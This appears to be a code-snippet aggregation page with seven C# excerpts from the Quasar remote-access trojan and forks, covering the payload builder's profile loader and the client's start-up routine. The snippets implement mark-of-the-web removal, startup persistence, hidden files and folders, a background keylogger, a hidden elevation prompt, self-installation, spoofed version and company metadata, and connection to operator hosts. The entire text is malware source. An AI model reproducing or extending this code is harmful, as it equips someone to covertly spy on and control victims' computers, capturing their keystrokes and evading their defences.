Exemple #1
0
        private void LoadProfile(string profilename)
        {
            var profile = new BuilderProfile(profilename);

            foreach (var host in HostHelper.GetHostsList(profile.Hosts))
            {
                _hosts.Add(host);
            }
            lstHosts.DataSource = new BindingSource(_hosts, null);

            txtTag.Text         = profile.Tag;
            txtPassword.Text    = profile.Password;
            txtDelay.Text       = profile.Delay.ToString();
            txtMutex.Text       = profile.Mutex;
            chkInstall.Checked  = profile.InstallClient;
            txtInstallname.Text = profile.InstallName;
            GetInstallPath(profile.InstallPath).Checked = true;
            txtInstallsub.Text       = profile.InstallSub;
            chkHide.Checked          = profile.HideFile;
            chkStartup.Checked       = profile.AddStartup;
            txtRegistryKeyName.Text  = profile.RegistryName;
            chkIconChange.Checked    = profile.ChangeIcon;
            chkChangeAsmInfo.Checked = profile.ChangeAsmInfo;
            chkKeylogger.Checked     = profile.Keylogger;
            txtProductName.Text      = profile.ProductName;
            txtDescription.Text      = profile.Description;
            txtCompanyName.Text      = profile.CompanyName;
            txtCopyright.Text        = profile.Copyright;
            txtTrademarks.Text       = profile.Trademarks;
            txtOriginalFilename.Text = profile.OriginalFilename;
            txtProductVersion.Text   = profile.ProductVersion;
            txtFileVersion.Text      = profile.FileVersion;

            _profileLoaded = true;
        }
Exemple #2
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION))
            {
                return(false);
            }

            AES.SetDefaultKey(Settings.PASSWORD);
            ClientVerisi.InstallPath = Path.Combine(Settings.DIR,
                                                    ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            DosyaYardımcısı.DeleteZoneIdentifier(ClientVerisi.CurrentPath);

            if (!Settings.INSTALL || ClientVerisi.CurrentPath == ClientVerisi.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Başlangıç.AddToStartup())
                    {
                        ClientVerisi.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientVerisi.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }

                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop   = new ApplicationContext();
                        var logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new KuuhakuClient(hosts);
                return(true);
            }
            MutexHelper.CloseMutex();
            ClientYükleyici.Install(ConnectClient);
            return(false);
        }
Exemple #3
0
        private static void Initialize()
        {
            if (!MutexHelper.CreateMutex(Settings.MUTEX))
            {
                ClientData.Disconnect = true; // process with same mutex is already running
            }
            if (ClientData.Disconnect)
            {
                return;
            }

            AES.PreHashKey(Settings.PASSWORD);
            _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
            ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            if (_hosts.IsEmpty)
            {
                ClientData.Disconnect = true; // no hosts to connect
            }
            if (ClientData.Disconnect)
            {
                return;
            }

            FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

            if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP && Settings.INSTALL)
                {
                    if (!Startup.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }

                InitializeClient();

                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    }).Start();
                }
            }
            else
            {
                MutexHelper.CloseMutex();
                ClientInstaller.Install(ConnectClient);
            }
        }
Exemple #4
0
        private static void Initialize()
        {
            Thread.Sleep(2000);

            AES.PreHashKey(Settings.PASSWORD);
            _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
            SystemCore.OperatingSystem = SystemCore.GetOperatingSystem();
            SystemCore.MyPath = Application.ExecutablePath;
            SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
            SystemCore.AccountType = SystemCore.GetAccountType();
            GeoLocationHelper.Initialize();

            if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath)
            {
                if (!SystemCore.CreateMutex(ref _appMutex))
                    SystemCore.Disconnect = true;

                if (SystemCore.Disconnect)
                    return;

                new Thread(SystemCore.UserIdleThread).Start();

                if (Settings.STARTUP && Settings.INSTALL)
                {
                    SystemCore.AddToStartup();
                }

                InitializeClient();

                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    }).Start(); ;
                }
            }
            else
            {
                if (!SystemCore.CreateMutex(ref _appMutex))
                    SystemCore.Disconnect = true;

                if (SystemCore.Disconnect)
                    return;

                SystemCore.Install();
            }
        }
Exemple #5
0
        private void LoadProfile(string profileName)
        {
            var profile = new BuilderProfile(profileName);

            _hosts.Clear();
            foreach (var host in HostHelper.GetHostsList(profile.Hosts))
            {
                _hosts.Add(host);
            }

            txtTag.Text = profile.Tag;
            numericUpDownDelay.Value = profile.Delay;
            txtMutex.Text            = profile.Mutex;
            chkInstall.Checked       = profile.InstallClient;
            txtInstallName.Text      = profile.InstallName;
            GetInstallPath(profile.InstallPath).Checked = true;
            txtInstallSubDirectory.Text = profile.InstallSub;
            chkHide.Checked             = profile.HideFile;
            chkHideSubDirectory.Checked = profile.HideSubDirectory;
            chkStartup.Checked          = profile.AddStartup;
            txtRegistryKeyName.Text     = profile.RegistryName;
            chkChangeIcon.Checked       = profile.ChangeIcon;
            txtIconPath.Text            = profile.IconPath;
            chkChangeAsmInfo.Checked    = profile.ChangeAsmInfo;
            chkKeylogger.Checked        = profile.Keylogger;
            txtLogDirectoryName.Text    = profile.LogDirectoryName;
            chkHideLogDirectory.Checked = profile.HideLogDirectory;
            txtProductName.Text         = profile.ProductName;
            txtDescription.Text         = profile.Description;
            txtCompanyName.Text         = profile.CompanyName;
            txtCopyright.Text           = profile.Copyright;
            txtTrademarks.Text          = profile.Trademarks;
            txtOriginalFilename.Text    = profile.OriginalFilename;
            txtProductVersion.Text      = profile.ProductVersion;
            txtFileVersion.Text         = profile.FileVersion;

            _profileLoaded = true;
        }
Exemple #6
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            // process with same mutex is already running
            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
            {
                return(false);
            }

            Aes128.SetDefaultKey(Settings.KEY, Settings.AUTHKEY);
            ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

            if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Startup.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
                {
                    try
                    {
                        DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath));
                        di.Attributes |= FileAttributes.Hidden;
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new QuasarClient(hosts);
                return(true);
            }
            else
            {
                MutexHelper.CloseMutex();
                ClientInstaller.Install(ConnectClient);
                return(false);
            }
        }
Exemple #7
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            // process with same mutex is already running
            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
            {
                return(false);
            }

            ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            // Request elevation
            if (Settings.REQUESTELEVATIONONEXECUTION && WindowsAccountHelper.GetAccountType() != "Admin")
            {
                ProcessStartInfo processStartInfo = new ProcessStartInfo
                {
                    FileName        = "cmd",
                    Verb            = "runas",
                    Arguments       = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT",
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true
                };

                MutexHelper.CloseMutex();  // close the mutex so our new process will run
                bool success = true;
                try
                {
                    Process.Start(processStartInfo);
                }
                catch
                {
                    success = false;
                    MutexHelper.CreateMutex(Settings.MUTEX);  // re-grab the mutex
                }

                if (success)
                {
                    ConnectClient.Exit();
                }
            }

            FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

            if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Startup.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
                {
                    try
                    {
                        DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath));
                        di.Attributes |= FileAttributes.Hidden;
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
                return(true);
            }

            MutexHelper.CloseMutex();
            ClientInstaller.Install(ConnectClient);
            return(false);
        }